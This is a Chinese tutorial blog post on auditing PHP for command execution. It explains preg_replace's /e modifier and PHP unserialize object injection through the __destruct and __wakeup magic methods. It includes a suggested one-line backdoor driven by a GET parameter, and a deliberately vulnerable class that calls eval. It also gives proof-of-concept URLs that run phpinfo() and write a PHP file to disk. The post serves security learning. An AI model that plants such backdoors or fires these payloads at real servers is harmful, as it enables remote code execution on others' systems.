php审计基础二:命令执行

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),``
这些命令执行的例子很平常就不说了
下面是一些有意思的:
【1】preg_replace()这个函数:
出发条件:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令
利用:

我们可以构造这样的后门代码:

@preg_replace("//e",$_GET['h'],"Access Denied"); 

echo preg_replace("/test/e",$_GET["h"],"jutst test");

当访问这样这样的链接时就可以被触发:

http://localhost:8000/testbug.php?h=phpinfo();


2php反序列化漏洞:

<?php
class Example
{
var $var = "";
function __destruct()
    {
        eval($this->var);
    }
}
class foo{
    public $file="";
    public $data="";
            function __wakeup(){
        file_put_contents($this->file,$this->data);
        echo "调用";
    }
    
}

 $str=$_GET["name"];
 unserialize($str);
?>

参考:http://www.freebuf.com/vuls/80293.html

这个很有意思

首先php反序列化可以反序列化成为一个对象,而这个对象被创建之后就会自动调用php的魔幻方法

__destruct()

__wakeup()


并且将参数传递进去,从而实现恶意的攻击


利用条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。


利用过程:

http://localhost:8000/testbug.php?name=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}



下面就是一个命令执行的poc参数

O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}


第一个O是代表object:表示反序列化为一个类

第二个7是类名的长度,比如我要反序列化成为Example的一个对象,那么“Example”长度就是7

第三个Example是类名,要用%22包裹住,而%22就是“的url形式

第四个1是参数的数量,我这里只有一个参数var

第五个:{s:3:%22var%22;s:10:%22phpinfo();%22;}这个里面是要传递进去的参数

5.1s表示的是一个字符串

5.23表示的是参数名的长度

5.3var是参数名

5.4s表示的是一个字符串

5.510表示的是变量的长度

5.6phpinfo();是实际的变量


这个poc执行之后首先会创建一个Example的对象,然后将var的值传递进去,然后调用__destruct()

就像

$obj=newExample;

$obj->var=”phpinfo();”;

$obj->__wakeup();


这样的过程


第二个利用的poc是:


http://localhost:8000/testbug.php?name=O:3:%22foo%22:2:{s:4:%22file%22;s:10:%22heheda.php%22;s:4:%22data%22;s:19:%22<?phpphpinfo(); ?>%22;}


可以看出来,php反序列化可以调用任何类



  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值